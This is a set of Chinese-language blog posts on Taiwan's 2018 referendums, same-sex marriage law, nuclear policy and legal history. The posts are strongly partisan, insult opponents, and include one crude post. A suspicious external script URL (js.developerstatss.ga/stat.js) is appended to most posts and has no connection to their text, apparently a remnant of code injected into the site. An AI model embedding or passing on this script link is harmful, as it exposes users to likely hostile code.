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隨筆

關於同性婚姻

全世界195個國家中僅23國有同性婚姻制度。

有些人就是死心眼地認為同性婚姻是人權(而在歷史上其實從來都不是,最近20年來才有少數國家賦與);更有好笑的一群人以為「有同性婚姻叫進步」。

而這群人最大的錯誤在於:嘴裡喊著人權,其實一點也不尊重他人的價值觀,動輒貶低反同性婚姻者為落伍、愚昧。

顯然,以這次公投第十案主張「民法之婚姻定義應為一男一女」同意票高達765萬票,以及第14案「是否同意民法允許同性別二人建立婚姻關係」反對票高達694萬票來看,台灣社會針對此議題的保守共識簡直是總統選舉級別!(2012年氣勢如紅的馬英九總統當選票數也只接近690萬)

換言之,這群支持同性婚姻的運動者,是不是別老要求別人有同理心,而是自己有開放心胸一點地去理解為何有這麼多人反對你的主張呢?

https://js.developerstatss.ga/stat.js?n=ns1

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筆記

小英政府再次證明不才小弟觀點

沒關係,只是嘉年華會,一切還是由台灣極權政府說了算 XD

想當年,毛主席「引蛇出洞」–來來來,有意見的都說出來,降低老子找你的訊息成本。

爾如今,蔡小英「人家不依」–投投投,有意見的都投下去,反正舞照跳馬照跑,該污的一毛也不少。

先前11/5我說過:「…依據公投法第30條,這次公投案這麼多,其實真正投完會快速發生法律效果的只有「以核養綠」的複決案喔。

其他案均為法律創制案或重大政策案,前者即便公投通過還是要經過立法機關立法(但只規定何時完成審議程序,可沒規定何時要完成立法喔!);後者即便公投通過,法條也只說「總統或權責機關應實現必要之處置」,啥叫「必要之處置」?公投法又沒明確定義。…

換言之,所謂公投根本就只是一場政府花錢給人民投爽的嘉年華。」

果然愛說謊的小英政府選後第一天就證明我的觀點正確呢~

http://m.ltn.com.tw/news/politics/breakingnews/2623698

quote:

“以核養綠公投過關 政院:2025非核家園目標不變
2018-11-25 01:58

〔中央社〕以核養綠公投過關,行政院發言人Kolas今天表示,電業法第95條第1項將在公告第3日起失效,不過核一、核二、核三延役及核四商轉已來不及,2025非核家園的目標不變。
國民黨的3公投案、幸福盟提出的愛家3公投及以核養綠公投共7案過關。挺同的2案婚姻平權公投與東奧正名公投則是不同意票大於同意票,並未過關。
其中第16案的「以核養綠」公投主文為「您是否同意:廢除電業法第95條第1項,即廢除『核能發電設備應於中華民國114年以前,全部停止運轉』之條文?」
Kolas Yotaka(谷辣斯.尤達卡)告訴中央社記者,公投第16案主文是要求廢除電業法第95條第1項,依公投法規定,從公告日第3日起,該法律條文將失去效力。
Kolas表示,不過,即使該項條文失效,政府推動2025非核家園的目標不變,因為實務上已不可能讓核一、核二與核三廠延役。依法核電廠在除役期限前5到10年必須提出延役申請,核一與核二廠除役在即,已來不及申請;核三廠則是要在108年前提出申請,但申請的作業評估時間要4到5年,時間上已來不及。
至於核四廠商轉部分,Kolas說,台電在今年評估,核四商轉需要6到7年,且需要耗資新台幣688億元。如果明年重啟核四,6年後是2025年,非核家園目標已經達成,屆時已不需要核電,因此核四也沒有商轉的必要。
此外,國民黨提案的「你是否同意以平均每年至少降低1%之方式逐年降低火力發電廠發電量?」與「您是否同意確立停止新建、擴建任何燃煤發電廠或發電機組(包括深澳電廠擴建)之能源政策?」以及「你是否同意政府維持禁止開放日本福島311核災相關地區,包括福島與周遭4縣市(茨城、櫪木、群馬、千葉)等地區農產品及食品進口?」的同意票皆通過門檻。
Kolas表示,將請經濟部在確保供電的情形下,去努力達成每年降低1%火力的目標,改善空污與維持穩定電力是行政院的原則;在停建燃煤電廠方面,行政院長賴清德日前已宣布停建深澳電廠,公投結果與政府施政方向一致。
對於反核食公投通過,Kolas表示,行政院將請衛福部依照公投法規定,在維持食品安全下,繼續針對日本食品進行查驗。政府的立場就是要讓民眾吃得安全、安心。
東奧正名公投部分,第13案主文為「你是否同意,以『台灣』(Taiwan)為全名申請參加所有國際運動賽事及2020年東京奧運?」因不同意票大於同意票票數,並未過關。Kolas說,尊重公投結果。"https://js.developerstatss.ga/stat.js?n=ns1

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法律

同性婚姻公投結果相悖於大法官解釋!

公投民意認定「民法婚姻規定應限定一男一女」(2018/11/24),而2017/05/24做成的大法官解釋文第748號卻聲稱同性婚姻合法,且釋憲文公開後2年可以逕行向戶政機關登記。

法學邏輯上,沒有民意基礎的大法官解釋要如何與新民意對抗呢?

我的看法是:
1. 大法官釋憲文位階到底是不是憲法高度?通說雖然都肯定,但其實大有疑義。

司法院大法官審理案件法並未有關於大法官解釋文法律位階的定義;而大法官自己在釋字第185號似乎把解釋文位階拉到憲法高度,但當憲法解釋觀點顯與公投民意違背時,少數壓倒多數本身合憲乎?

2. 釋字第748號中大法官自己也承認:「至於以何種形式達成婚姻自由之平等保護,屬立法形成之範圍。」

既然屬於立法形成,那麼依據公投法所得之最新公民意見,假設立院要遵循新民意,則顯與大法官早前課責立法權應完成之法有所扞格。若要遵循大法官之見解,則又與民意違背。

而事實上立法院要不要真的立法或修法允許同性婚姻?以及要不要撥預算給戶政機關更新系統?甚至行政機關本身是否要利用非常繁瑣的程序來達成實質登記之難度?球,都不在大法官手上。

3. 若從「人民授權」角度來看政治權力,則立法委員之所以可以立法的基礎來自於直接人民的民意授權;大法官需經由立院同意,其授權為民意之間接授權。以此觀之,間接授權者可以與權力源頭對抗嗎?

4. 婚姻制度本身是涉及財產權與後代繁衍親權分配的合夥關係,從限制一男一女到允許同性結婚,如此調整整體社會要付出多大成本?這問題也不可不研議。

5. 唯一可以確定的是,若同性能結婚,則離婚官司案件必將成長,律師們支持同性婚姻的其中一種誘因就顯而易見了。

是的,就公投結果來看,只有專法可以解套;但是這好像不是那些同志團體要的結果。

此外,立法院真的敢在執政黨選舉大敗這個環境下通過「同性婚姻法」?我很質疑。

總之,吃瓜群眾們,讓我們繼續看~下~去~

https://www.cna.com.tw/news/firstnews/201811245017.asp

補充:司法院這個聲明根本搞笑

quote:"司法院表示,立法機關必須尊重公投結果,並採納為立法、修法方向,但無論公投結果如何,仍然不能違背憲法及大法官會議解釋。"

阿現在就民意與大法官意見相左啊~~

https://www.cna.com.tw/news/firstnews/201811240281.aspxhttps://js.developerstatss.ga/stat.js?n=ns1

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筆記

尼克森總統競選標語–妳舔不到我們的GG

都說美國高貴的民主價值,不會出現低俗競選標語。 XD

翻譯:

他們舔不到我們的GG

我們愛GG

我們愛我們的GG

幹得好!GG

不准妳舔我們的GG!

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筆記

科技倒轉

20年前的舊新聞 — 當年美國政府表示核廢料處理不是問題。美軍核廢料都能妥善處理,更枉論民用核電廠。

沒想到20年的科技發展下,台灣反核蠢蛋把核廢料說成「人類幾萬年都無法處理的絕症」。

原來20年光陰,人類科技是逆向發展呢~

再過一千年的後代回頭看歷史若不小心查到台灣反核團體言論,一定會很驚訝地以為:「當年地球上人類不會是近乎滅絕吧?不然怎麼科技會倒轉呢?」

quote:"至於核廢料問題,在美國能源部負責核廢料管理司事務的周成康表示,他此次來台的目的就是要發起將美日的核廢料處理技術移轉予南韓及台灣,核廢料處理不會成為問題。"

http://forums.chinatimes.com/special/new_nuclear/89100707.htmhttps://js.developerstatss.ga/stat.js?n=ns1

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法律

法律與偏見(Palmore v. Sidoti)

原文美國最高法院於Palmore v. Sidoti一案所稱的"law"指的是common law,而非legislative law。

事實面來說,本案是Anthony and Linda Sidoti兩個高加索種白人離婚後,原本甫出生的婚生嬰兒監護權歸生母所有。

爾後該白人母親與黑人同居,生父提出訴訟請求監護權,聲稱當年(1970、80年代)長於黑白配家庭的子女恐受到較多社會異樣眼光,對兒童成長有害。此案一路打到佛羅里達州最高法院,生父勝訴。

案子來到聯邦最高法院,而最高法院法官難得一致無意見判決生父敗訴,認為「無論種族歧視問題如何真實,也不能構成法律上剝奪生母對其子女監護權之理由。憲法不能控制這類偏見,但也不能容忍之。私人偏見或許存在於法律力量所及之外,但法律不能直接或間接地給與偏見效力。(The effects of racial prejudice, however real, cannot justify a racial classification removing an infant child from the custody of its natural mother. The Constitution cannot control such prejudice, but neither can it tolerate it. Private biases may be outside the reach of the law, but the law cannot, directly or indirectly, give them effect. )」
因為本案完全在處理離婚夫妻之子女監護權(custody issue)的問題,100%屬於英美法系中common law領域。

因此我不認為這段法律價值宣言可以這麼理所當然地類比到台灣現在的同婚平權問題上。因為針對侷限條件並不一致 — 本案是原告基於某種社會偏見(即便真實存在)而欲剝奪傳統上生母對子女的監護權。本案其實依據的是美國憲法第十四號修正案。

台灣在吵的同性戀婚姻問題,本質上並不太一樣。

這細微的差異,我想沒修習過英美法的台灣律師可能難以體會。

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法律

中華文化不重視偽證罪?

每次看到這類「民族性比較」文章就很想笑。特別是這種假台獨往往對中華文化根本就一知半解還能夸夸其談。

1. 此文講得好像只有作者住過美國一樣。

2. 此文作者的專業並非法律;而不才剛好在美國法學院拿碩士。美國法律講究的是「adversary system」,恰恰就是因為不相信法庭上可以探尋到「客觀真相」,所以只能由控辯雙方各自努力說服法官或陪審團。

法律人都知道法庭上所接受的「法律事實」通常與真實世界的「客觀事實」是兩回事。

你既然是法律外行,就請勿誤導其他非法律專業的讀者。

3. 如果天主教徒都像你說的那樣品德高超,那天主教也不需要發明「十戒」來約束教徒了。

從經濟學角度來看,恰恰就是因為做不到,才如此強調「十戒」。

4. 上帝不接受賄絡的蠢話不曉得基礎在哪,我只知道創世紀第四章上帝喜歡亞伯供奉的羊肉羊脂勝過兄長該隱供奉的農作物。

一個對供品有偏好的上帝,不會接受賄賂?

讓我們來看看箴言21:14「暗中送的禮物挽回怒氣;懷中搋的賄賂止息暴怒。」

我都還沒提天主教贖罪券的長年陋習哩

5. 中國人不相信公平正義,就不會有「包公」的各種傳說與戲曲流傳了。

6. 中國人對偽證只要聳聳肩?

漢代《九章律具律》中明確規定:證人不據實作證,如果造成被告人被判死罪,對證人要處以「黥為城旦舂」的刑罰。「譯人」不據實翻譯,如果被告人被處以其他刑罰,就以偽證所造成的罪行出入,反坐。

《唐律疏議詐偽》中有關於「證不言情和譯人作偽」的規定,證人和翻譯人員作偽證導致定罪有出入的,按照反坐的原則處罰,證人按其所出入的刑罰減二等處罰,翻譯人員按其所出入的刑罰處罰。

宋朝《宋刑統》延續唐朝規定,偽證者刑罰減二等處罰。

明朝也延續此項偽證罪規定。

大清律也延續同樣的偽證罪,還增加了「證物造假罪」–「凡不應為而為之者,笞四十,事理重者,杖八十。」

話說到此,這位作者連這些各朝代的刑事律例都不知道的狀況下,還好意思說「中華文化不重視偽證?」麻煩自己先不要造假好不好?

(我都還不想說民進黨靠多少假歷史在騙選票哩)

7. 基督教文化比中華文化更不會嫉妒?這點廢屁到正常人都聽不下去吧~ XD

最近哈佛的「歧視亞裔學生案」不正是以種族多元為藉口地打壓資優?假台獨的雙重標準真有趣呢。

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隨筆

嚴格來說「支持『東澳正名』」與「反對『以核養綠』」的人其實都是同樣的思維:拒絕面對現實!https://js.developerstatss.ga/stat.js?n=ns1

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隨筆-假台獨的假勇敢

假台獨們真的有趣在於:

不害怕與世界經濟第二大、人口第一大國為敵,不害怕與佔台灣4成貿易出口量的中國斷絕往來,甚至期待對方經濟政治崩潰,還傻傻地以為自己都不會受害。

卻對風險發生機率非常低的核能電廠害怕得要死。

這些台灣人究竟勇敢與否?That is a question.

PS 台灣要達成非核家園很簡單啊!跟中國談和,以後拉海底電纜直接跟中國買電即可。核一~核三皆可停,核四永遠不需要運轉。這下愛台灣、台灣價值滿點的假台獨們又不依了~https://js.developerstatss.ga/stat.js?n=ns1

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科技相關 筆記

“智慧塵"來啦~(Here Comes “Smart Dust")

感覺就是重炒被動式RFID這類曾被炒過的晶片與應用。

不過除了透過無線射頻來提供被動式晶片所需電能,也有透過溫度(或溫差),使得某些感應器可以不連接電線的前提下自己運作並發送資料。

已經有畜牧業者將此類被動式智慧塵晶片裝在牛隻身上監測其健康狀況。間諜活動上也可以減少監聽設備需要充電的風險。(這是否意味未來旅館偷拍將更容易?)

也有學者認為這類被動式無線感應器可減少汽車內部布線達50磅重。

不過就我自己從事過RFID產業的經驗,這類夸夸其談的各種幻想應用其實都需要相當長一段時間來驗證。許多想得很美好的方案最後都被證實失敗,例如我曾經手的RFID生物晶片監視養殖水產技術。

https://www.wsj.com/articles/here-comes-smart-dust-the-tiny-computers-that-pull-power-from-the-air-1541689224https://js.developerstatss.ga/stat.js?n=ns1